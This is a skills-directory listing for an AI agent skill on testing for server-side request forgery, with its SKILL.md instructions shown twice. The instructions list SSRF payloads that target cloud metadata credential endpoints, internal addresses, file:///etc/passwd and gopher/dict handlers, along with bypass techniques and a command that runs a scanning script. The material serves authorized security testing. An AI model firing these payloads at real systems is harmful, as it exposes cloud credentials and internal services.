Performing Ssrf Vulnerability Exploitation

Name: Performing Ssrf Vulnerability Exploitation
Author: mukul975

CSecurity

Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services,

31,965 stars

0 votes

0 copies

1 views

Added 5/31/2026

securitypythongobashawsgcpazuretestingapisecurity

Works with

api

Security Analysis

C67/100

criticalAccesses sensitive system or user directories

mediumInstalls packages at runtime which could introduce malicious dependencies

Scanned 5/31/2026

Install to Claude Code

npx -y skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-ssrf-vulnerability-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Performing Ssrf Vulnerability Exploitation?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Performing Ssrf Vulnerability Exploitation

[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/mukul975-performing-ssrf-vulnerability-exploitation/badge)](https://www.skillsdirectory.com/skills/mukul975-performing-ssrf-vulnerability-exploitation)

More formats (shields.io, HTML) on the badges page.

Download Zip

Files

SKILL.md

---
name: performing-ssrf-vulnerability-exploitation
description: Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services,
  and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal
  port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.
domain: cybersecurity
subdomain: security-operations
tags:
- performing
- ssrf
- vulnerability
- exploitation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
- RS.MA-01
- GV.OV-01
- DE.AE-02
---


## When to Use

- When conducting security assessments that involve performing ssrf vulnerability exploitation
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Instructions

1. Install dependencies: `pip install requests`
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
   - Cloud metadata: `http://169.254.169.254/latest/meta-data/`
   - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
   - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
   - Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.

```bash
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
```

## Examples

### AWS Metadata SSRF
```
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.

Attribution

mukul975

View source More from mukul975 →

SSkills DirectorySkills Directory

Your tool, in front of Claude Code builders.

3 founder slots · $299/mo · GSC-verified traffic · sponsors can never buy grades.

See placements

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

--- name: performing-ssrf-vulnerability-exploitation description: Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection. domain: cybersecurity subdomain: security-operations tags: - performing - ssrf - vulnerability - exploitation version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - DE.CM-01 - RS.MA-01 - GV.OV-01 - DE.AE-02 --- ## When to Use - When conducting security assessments that involve performing ssrf vulnerability exploitation - When following incident response procedures for related security events - When performing scheduled security testing or auditing activities - When validating security controls through hands-on testing ## Prerequisites - Familiarity with security operations concepts and tools - Access to a test or lab environment for safe execution - Python 3.8+ with required dependencies installed - Appropriate authorization for any testing activities ## Instructions 1. Install dependencies: `pip install requests` 2. Identify URL parameters in the target application that accept URLs or hostnames. 3. Test SSRF payloads: - Cloud metadata: `http://169.254.169.254/latest/meta-data/` - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/` - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://` - Bypass techniques: IP encoding, DNS rebinding, URL redirects 4. Analyze responses for information disclosure or internal access confirmation. 5. Generate a vulnerability assessment report. ```bash # For authorized penetration testing and lab environments only python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json ``` ## Examples ### AWS Metadata SSRF ``` GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.